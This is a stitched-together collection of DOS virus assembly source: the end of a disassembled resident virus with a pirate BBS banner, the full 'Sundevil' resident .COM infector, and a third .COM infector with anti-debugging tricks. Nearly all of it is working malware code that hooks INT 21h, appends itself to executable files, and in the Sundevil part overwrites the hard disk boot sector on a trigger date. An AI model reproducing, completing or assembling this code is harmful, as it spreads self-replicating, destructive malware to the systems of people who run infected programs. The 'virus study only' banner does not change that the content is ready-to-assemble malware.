JNE LOC_41 ; Jump if not equal
MOV DX,DS:DATA_16E ; (3E00:007C=0FFFFH)
MOV CX,DS:DATA_17E ; (3E00:007E=0FFFFH)
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
LOC_40:
JC LOC_41 ; Jump if carry Set
XOR DX,DX ; Zero register
MOV CX,710H
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_41:
CMP WORD PTR CS:DATA_44E,0 ; (6CAF:008F=0)
JE LOC_42 ; Jump if equal
MOV AH,49H ; 'I'
INT 21H ; DOS Services ah=function 49h
; release memory block, es=seg
LOC_42:
CMP WORD PTR CS:DATA_37E,0FFFFH ; (6CAF:0070=0)
JE LOC_43 ; Jump if equal
MOV BX,CS:DATA_37E ; (6CAF:0070=0)
MOV DX,CS:DATA_39E ; (6CAF:0074=0)
MOV CX,CS:DATA_40E ; (6CAF:0076=0)
MOV AX,5701H
INT 21H ; DOS Services ah=function 57h
; get/set file date & time
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
LDS DX,DWORD PTR CS:DATA_42E ; (6CAF:0080=0) Load 32 bit ptr
MOV CX,CS:DATA_38E ; (6CAF:0072=0)
MOV AX,4301H
INT 21H ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
LDS DX,DWORD PTR CS:DATA_27E ; (6CAF:001B=0) Load 32 bit ptr
MOV AX,2524H
INT 21H ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
LOC_43:
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF ; Pop flags
JMP DWORD PTR CS:DATA_25E ; (6CAF:0017=0)
DB 11 DUP (0)
DB 4DH, 14H, 0AH, 0, 10H
DB 11 DUP (0)
DB 0E9H, 92H, 0, 73H, 55H, 4DH
DB 73H, 44H, 6FH, 73H, 0, 1
DB 0BCH, 17H, 0, 0, 0, 5
DB 0, 2BH, 2, 70H, 0, 6EH
DB 6, 20H, 0BH, 0EBH, 4, 14H
DB 0AH, 92H, 7BH, 0
DB 12 DUP (0)
DB 0E8H, 6, 0ECH, 37H, 17H, 80H
DB 0, 0, 0, 80H, 0, 37H
DB 17H, 5CH, 0, 37H, 17H, 6CH
DB 0, 37H, 17H, 10H, 7, 4CH
DB 72H, 0C5H, 0, 4CH, 72H, 0
DB 0F0H, 46H, 0, 4DH, 5AH, 60H
DB 0, 0CEH, 2, 9FH, 26H, 0C0H
DB 9, 7, 0, 7, 0, 75H
DB 4FH, 10H, 7, 84H, 19H, 0C5H
DB 0, 75H, 4FH, 1EH, 0, 0
DB 0, 0B8H, 0, 4CH, 0CDH, 21H
DB 5, 0, 20H, 0, 49H, 13H
DB 91H, 0B3H, 0, 2, 10H, 0
DB 50H, 93H, 5, 0, 5BH, 3DH
DB 70H, 0ABH
DB 'COMMAND.COM'
DB 1, 0, 0, 0, 0, 0
DB 0FCH, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 16H, 80H, 0FCH
DB 3, 72H, 11H, 0B4H, 0DDH, 0BFH
DB 0, 1, 0BEH, 10H, 7, 3
DB 0F7H, 2EH, 8BH, 8DH, 11H, 0
DB 0CDH
DB 21H
LOC_44:
MOV AX,CS
ADD AX,10H
MOV SS,AX
MOV SP,700H
PUSH AX
MOV AX,0C5H
PUSH AX
RET ; Return far
int_21h_entry ENDP
DB 0FCH, 6, 2EH, 8CH, 6, 31H
DB 0, 2EH, 8CH, 6, 39H, 0
DB 2EH, 8CH, 6, 3DH, 0, 2EH
DB 8CH, 6, 41H, 0, 8CH, 0C0H
DB 5, 10H, 0, 2EH, 1, 6
DB 49H, 0, 2EH, 1, 6, 45H
DB 0, 0B4H, 0E0H, 0CDH, 21H, 80H
DB 0FCH, 0E0H, 73H, 13H, 80H, 0FCH
DB 3, 7, 2EH, 8EH, 16H, 45H
DB 0, 2EH, 8BH, 26H, 43H, 0B8H
DB 0, 4CH, 0CDH
DB 21H, 4DH, 73H, 44H, 6FH, 73H
sumsdos ENDP
CODESEG ENDS
END START
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
@@ -0,0 +1,364 @@
;****************************************************************************
;* The Sundevil Virus *
;* (C)1993 by Crypt Keeper *
;****************************************************************************
;Parasitic Resident .COM infector
;Activation Criteria : May 8th of any year (displays message and trashes BSC)
;May 8th, 1990 is the date of the Secret Service searches and busts that were
;conducted as part of Operation Sundevil. This virus is dedicated to all of
;the victims of this and other federal busts of computer hackers.
;The virus will trash the boot sector of the hard disk on May 8th, and
;display it's message. This damage isn't too bad, and can be easily
;repaired.
CODE SEGMENT
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
TOPMARK EQU $ ;Top of full viral code
;Equates --------------------------------------------------------------------
VLENGTH EQU BOTMARK-TOPMARK ;Size of virus code
AMTRES EQU 1000h ;Paragraphs from TOM to put virus
;----------------------------------------------------------------------------
ENTRY: CALL GETDELTA
NOP
GETDELTA:
POP BP
SUB BP,OFFSET(GETDELTA)-1 ;Calculate delta offset
START PROC NEAR ;Startup procedure
MOV AH,2Ah ;Get date
INT 21h
CMP DX,0508h ;March 8th?
JE TRIGGER ;If so, trigger
JMP SHORT NO_TRIGGER ;If not, skip triggering
TRIGGER:
MOV AH,19h ;Get default drive
INT 21h
XOR BX,BX ;DS:BX points to data to write
MOV CX,1 ;Write one sector
XOR DX,DX ;Beginning with sector zero (boot sec)
INT 26h ;Absolute disk write
POPF ;Get flags off stack
PUSH CS
POP DS
LEA DX,[BP+OFFSET(MESSAGE)] ;Message to display
MOV AH,9 ;Print string
INT 21h
PRTSCR: INT 05h ;Print screen
JMP SHORT PRTSCR ;forever
NO_TRIGGER:
CALL GETPARA ;Get total paragraphs in machine
SUB AX,AMTRES ;Get segment where virus code would be
PUSH AX
POP ES
MOV CX,ES:RESID
PUSH CS
POP ES ;Get resident ID word from virus seg
CMP CX,CS:[BP+OFFSET(RESID)] ;Already resident?
JNE INSTALL ;If not, install it
SPAWN: LEA SI,[BP+OFFSET(SAVBYT)] ;Offset of saved bytes
MOV CX,BCLEN ;Length of branch code
MOV DI,100h
REP MOVSB ;Copy original bytes down there
MOV AX,100h
PUSH AX
RET ;Jump to original program
INSTALL:
MOV AX,3521h ;Get INT 21h vector
INT 21h
MOV CS:[BP+OFFSET(I21VECO)],BX
MOV CS:[BP+OFFSET(I21VECS)],ES ;INT 21h vectors
CALL GETPARA
;Get paragraphs in machine
SUB AX,AMTRES ;Amount to remain resident
PUSH AX
PUSH AX
POP ES ;Destination segment
PUSH CS
POP DS ;Source segment
MOV SI,BP ;Delta offset=start of viral code
XOR DI,DI ;Put viral code at 100h in new seg
MOV CX,VLENGTH ;Length of viral code
REP MOVSB ;Move ourselves up there
POP DS ;Segment of interrupt handler
MOV DX,OFFSET(INTVEC) ;Offset of interrupt handler
MOV AX,2521h ;Set INT 21h vector
INT 21h
PUSH CS
POP ES
PUSH CS
POP DS ;Reset all the segments
JMP SHORT SPAWN ;Run original program
START ENDP
;----------------------------------------------------------------------------
;This procedure finds the total K of memory in the machine according to
;INT 12h
GETPARA PROC NEAR ;Finds number of paragraphs in machine
INT 12h ;Get K in machine
MOV CX,1024 ;1024 bytes in a K
MUL CX ;Multiply AX by CX
MOV CX,16 ;16 bytes in a segment
DIV CX ;Divide AX and DX by CX
RET ;Return to caller
GETPARA ENDP
;----------------------------------------------------------------------------
;This is the branch code that is written over infected files.
TOP_BC EQU $ ;Top of branch code
BRANCH: XCHG SI,BP ;Infection ID
DB 0BBh ;MOV BX,
VOFFSET DW 0 ;Offset of viral code
PUSH BX
RET ;Jump to virus code
BOT_BC EQU $ ;Bottom of branch code
BCLEN EQU BOT_BC-TOP_BC ;Length of branch code
;Data -----------------------------------------------------------------------
MESSAGE DB 13,10
DB 'There is no America.',13,10
DB 'There is no Democracy.',13,10
DB 'There is only IBM, ITT, and AT&T.',13,10
DB 13,10
DB 'This virus is dedicated to all that have been busted',13,10
DB 'for computer hacking activities.',13,10
DB 13,10
DB 'The SunDevil Virus (C)1993 by Crypt Keeper',13,10
DB '[SUNDEVIL]',13,10,'$'
I21VECO DW 0
I21VECS DW 0 ;Original INT 21h vector
CHKBUF DW 0 ;Buffer for checking for infection
COM DB 'COM' ;Extension to search for
ORIG_DS DW 0
ORIG_DX DW 0 ;Original DS:DX
SAVBYT DB 0CDh
DB 20h ;For return to DOS on original file
DB BCLEN-2 DUP ('X')
OLDTIME DW 0
OLDDATE DW 0 ;Old file time and date
;----------------------------------------------------------------------------
FUNCTION PROC NEAR ;Calls the original INT 21h vector
PUSHF
CALL DWORD PTR CS:I21VECO ;Simulate and Interrupt to INT 21h
RET
FUNCTION ENDP
;----------------------------------------------------------------------------
INTVEC PROC NEAR ;INT 21h vector
NOP
CMP AH,3Dh ;Open file with handle?
JE VTRIGGER
CMP AX,4300h ;Get file attributes?
JE VTRIGGER
CMP AH,3Eh ;Close file with handle?
JE VTRIGGER
CMP AH,56h ;Rename file?
JE VTRIGGER
CMP AX,4B00h ;Load and execute program?
JE VTRIGGER
CMP AX,4B01h ;Load program?
JE VTRIGGER
JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain
VTRIGGER:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH ES
PUSH DS
PUSH BP ;Save all the registers
MOV CS:ORIG_DS,DS
MOV CS:ORIG_DX,DX ;Save original DS:DX (filename)
CLD ;Clear direction flag
PUSH DS
POP ES
MOV DI,DX ;DS:DX => ES:DI
MOV CX,256 ;256 maximum length
MOV AL,'.' ;Scan for extension separator
REPNE SCASB ;Scan the filename string
CMP CX,0 ;If CX is zero, then none found.
JNE FILE_FOUND ;If found, check for .COM
JMP NO_FILE ;If not, end infection
FILE_FOUND:
MOV CX,3 ;Three bytes in extension
PUSH CS
POP DS
MOV SI,OFFSET(COM) ;Is it a .COM file?
SCAN: LODSB ;Load byte of extension
MOV BL,ES:[DI]
INC DI ;Load byte of filespec
AND BL,5Fh ;Capitalize
CMP AL,BL ;Equal?
JNE END_SEARCH ;If not, end this scan
DEC CX ;De-increment counter
JMP SHORT SCAN ;Loop
END_SEARCH:
CMP CX,0 ;Did all three match?
JE INFECT ;If so, infect the file
JMP NO_FILE ;If not, skip it.
INFECT: MOV DX,CS:ORIG_DS
MOV DS,DX
MOV DX,CS:ORIG_DX ;Original filename locaiton
MOV AX,3D02h ;Open file for READWRITE access
CALL FUNCTION
MOV BX,AX
MOV AX,5700h ;Get file date and time
CALL FUNCTION
MOV CS:OLDTIME,CX
MOV CS:OLDDATE,DX ;Save old file date and time
MOV CX,2 ;Read one word
PUSH CS
POP DS
MOV DX,OFFSET(CHKBUF) ;Check buffer
MOV AH,3Fh ;Read file or device
CALL FUNCTION
MOV DX,CS:CHKBUF
CMP DX,WORD PTR [OFFSET(BRANCH)] ;Already infected?
JNE GO_AHEAD ;If not, go ahead and infect
JMP SHORT ENDINF ;If so, end infection process
GO_AHEAD:
CALL ZEROPTR ;Zero file pointer
MOV CX,BCLEN ;Length of branch code
MOV DX,OFFSET(SAVBYT) ;Offset of saved byte buffer
MOV AH,3Fh ;Read file or device
CALL FUNCTION
XOR CX,CX
XOR DX,DX ;Move zero bytes
MOV AX,4202h ;Move from end of file
CALL FUNCTION
ADD AX,100h
MOV CS:VOFFSET,AX ;Set up code offset in branch
MOV CX,VLENGTH ;Length of virus code
XOR DX,DX ;Offset 00h in segment
MOV AH,40h ;Write file or device
CALL FUNCTION
CALL ZEROPTR ;Zero file pointer
MOV CX,BCLEN ;Length of branch code
MOV DX,OFFSET(BRANCH) ;Write the branch code
MOV AH,40h ;Write file or device
CALL FUNCTION
ENDINF: MOV CX,OLDTIME
MOV DX,OLDDATE ;Old file time and date
MOV AX,5701h ;Set file date and time
CALL FUNCTION
MOV AH,3Eh ;Close file with handle
CALL FUNCTION
NO_FILE:
POP BP
POP DS
POP ES
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX ;Restore all the registers
JMP DWORD PTR CS:I21VECO ;Execute rest of interrupt chain
ZEROPTR:
XOR CX,CX
XOR DX,DX ;Move zero bytes
MOV AX,4200h ;Move from beginning of file
CALL FUNCTION
RET ;Return to caller
INTVEC ENDP
;----------------------------------------------------------------------------
RESID DW 985Ch ;Resident ID
BOTMARK EQU $ ;Bottom of viral code
CODE ENDS
END
@@ -0,0 +1,502 @@
start_1:
db 24h,21h,0e9h,0,0 ;first byte = jmp far, second byte = how much bytes to jump
ende_start_1:
;later here comes the host_program
start_2: ;here starts the virus
CALL delta ;get delta offset
delta: ;
pop bp ;
sub bp,offset delta ;
;anti_disassembler
mov cx,09ebh
mov ax,0fe05h
jmp $-2
add ah,03bh
jmp $-10
;anti_debugger
mov ax,3503h ;save int 3h in bx
int 21h ;do it
mov ah,25h ;set new int 3h...
mov dx,offset new_int_3 ;...to new_int_3
int 21h ;do it
xchg bx,dx ;exchange bx,dx (restore original int 3h)
int 21h ;do it
;anti_vsafe
mov ax,0f9f2h
add ax,10h
mov dx,5935h
add dx,10h
mov bl,10h
sub bl,10h
int 16h
mov byte ptr[bp+drive],0
call get_cur_drive
cmp al,0
jne go_on_5
mov byte ptr[bp+drive],1
mov dl,2h
call set_cur_drive
go_on_5:
mov dl,00h
lea si,[bp+offset cur_dir]
call get_cur_dir
mov di,100h ;restore original 3 bytes of the host_prog. to 100h
lea si,[bp+original_three] ;from where (original_three)
mov cx,5 ;3 bytes
rep movsb ;copy 'em to 100h
lea dx,[bp+offset new_dta] ;offset of new DTA
call set_new_dta ;set new DTA
find_first_again:
lea dx,[bp+offset file] ;file_spec (*.COM)
mov cx,0007h ;all attributes
CALL find_first ;find_first
jc no_more_filez_in_dir
jmp go_on ;jump to go_on
find_next_2: ;find_next file
CALL find_next ;and find_next
jnc go_on ;no more filez -> restore
no_more_filez_in_dir:
lea dx,[bp+offset dot_dot]
call chdir
cmp al,3
jne go_on_4
call restore
go_on_4:
call find_first_again
go_on: ;go to here after the first_file is found
lea si,[bp+offset new_dta+15h] ;save(get) DTA information (begin with the attribs)
mov cx,9 ;9 bytes to copy
lea di,[bp+offset f_attr] ;file_attribs -> file_time -> file_date -> file_size
rep movsb ;save em (copy em)
xor cx,cx
lea dx,[bp+offset new_dta+1eh]
call set_file_attributes
cmp dword ptr[bp+file_size],200
jnb size_ok_1
xor ch,ch
mov cl,byte ptr[bp+f_attr]
lea dx,[bp+offset new_dta+1eh]
call set_file_attributes
jmp find_next_2
size_ok_1:
cmp dword ptr[bp+file_size],60000
jna size_ok_2
xor ch,ch
mov cl,byte ptr[bp+f_attr]
lea dx,[bp+offset new_dta+1eh]
call set_file_attributes
jmp find_next_2
size_ok_2:
mov al,02h ;open file for read & write
lea dx,[bp+offset new_dta+1eh] ;file_name in DTA
CALL open ;open it
mov bx,ax ;move file_handler in bx
CALL infect ;now infect it!!!
nop ;without this nop the infected prog will crash. i don't know why?!?
mov dx,word ptr[bp+f_date]
mov cx,word ptr[bp+f_time]
call set_file_time_date
call close
xor ch,ch
mov cl,byte ptr[bp+f_attr]
lea dx,[bp+offset new_dta+1eh]
call set_file_attributes
add word ptr[bp+counter],1
cmp word ptr[bp+counter],3
je restore
call find_next_2
restore: ;restore old DTA and run normal program
call restore_old_dta ;restore DTA
dir_loop:
lea dx,[bp+offset dot_dot]
call chdir
cmp al,3h
jne dir_loop
lea dx,[bp+offset cur_dir]
call chdir
cmp byte ptr[bp+drive],1
jne go_on_6
mov dl,00h
call set_cur_drive
go_on_6:
call get_system_date
cmp dh,4
jne not_the_right_day
cmp al,0
jne not_the_right_day
lea si,[bp+offset message]
mov cx,offset message_ende-offset message
call crypt
lea dx,[bp+offset message]
call write_string
call wait_for_key
not_the_right_day:
mov di,100h ;jump to 100h. the original three bytes have already been restored.
jmp di ;jump too 100h
;these are the rutines that can be 'called'
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECTION RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
infect: ;to infect the file :-)
lea dx,[bp+original_three] ;save the first 3 bytes in original_three
mov cx,5 ;3 bytes
CALL read ;read em
call already_infected ;already infected ???
jne go_on_2
go_on_3:
call close
xor ch,ch
mov cl,byte ptr[bp+f_attr]
lea dx,[bp+offset new_dta+1eh]
call set_file_attributes
call find_next_2 ;yes, find_next file
go_on_2:
cmp word ptr[bp+original_three],'MZ'
je go_on_3
cmp word ptr[bp+original_three],'ZM'
je go_on_3
CALL seek_to_begin ;seek to beginning of the file
CALL calculate_new_jump ;calculate the new jump(first 3 bytes)
mov cx,5 ;write 3 bytes
lea dx,[bp+new_jump] ;from new calculated jump
CALL write ;write
CALL seek_to_end ;go to end of file
mov ax,word ptr[bp+counter]
push ax
mov word ptr[bp+counter],0000h
mov cx,ende_start_2-start_2 ;write virussize -3 bytes
lea dx,[bp+start_2] ;from label start_2
CALL write ;write
pop ax
mov word ptr[bp+counter],ax
ret ;and return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;READ RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
read: ;read bytes from file
mov ah,3fh ;function read
int 21h ;read
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SEEK_TO_END;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seek_to_end: ;seek to end of file
mov ax,4202h ;function seek to end
xor cx,cx
xor dx,dx
int 21h ;seek
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SEEK_TO_BEGIN;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seek_to_begin: ;seek to begin of file
mov ax,4200h ;function seek to begin
xor cx,cx
xor dx,dx
int 21h ;seek
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CALCULATE_NEW_JUMP;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
calculate_new_jump: ;calculates the new jump
mov byte ptr[bp+new_jump],24h
mov byte ptr[bp+new_jump+1],21h
mov byte ptr[bp+new_jump+2],0e9h ;= jmp far
mov ax,word ptr[bp+file_size] ;2nd + 3rd byte = file_size...
sub ax,5 ;...-3
mov word ptr[bp+new_jump+3],ax ;put these 3 bytes in new_jump
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;WRITE RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
write: ;write bytes to file
mov ah,40h ;function write
int 21h ;write
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CLOSE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
close: ;close a file
mov ah,3eh ;function close
int 21h ;close
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;OPEN;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
open: ;open a file
mov ah,3dh ;function open
int 21h ;open
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_file_time_date;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_file_time_date: ;sets the files date & time
mov ax,5701h ;function set date & time
int 21h ;set date & time
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;find_first;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
find_first: ;find first file
mov ah,4eh ;function find_first
int 21h ;find_first
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;find_next;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
find_next: ;find_next file
mov ah,4fh ;function find_next
int 21h ;find_next
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SET_NEW_DTA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_new_dta: ;sets the data transfer address (DTA)
mov ah,1ah ;function set DTA
int 21h ;set DTA
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;restore_old_dta;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
restore_old_dta: ;restores the old DTA
mov ah,1ah ;function set DTA
mov dx,80h ;where old DTA was located
int 21h ;set DTA
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_file_attributes;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
set_file_attributes: ;sets the file attributes
mov ax,4301h ;function set file attributes
int 21h ;set file attribs
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;already_infected;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
already_infected: ;checks if the file is already infected
mov ax,dword ptr[bp+file_size] ;mov ax,file_size
sub ax,(ende_start_2-start_2)+5 ;sub ax,virus_size
cmp word ptr[bp+offset original_three+3],ax ;if the first bytes are the same its already infected
ret ;return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;crypt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
crypt:
mov di,si
xor_loop:
lodsb
xor al,byte ptr[bp+crypt_val]
stosb
loop xor_loop
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
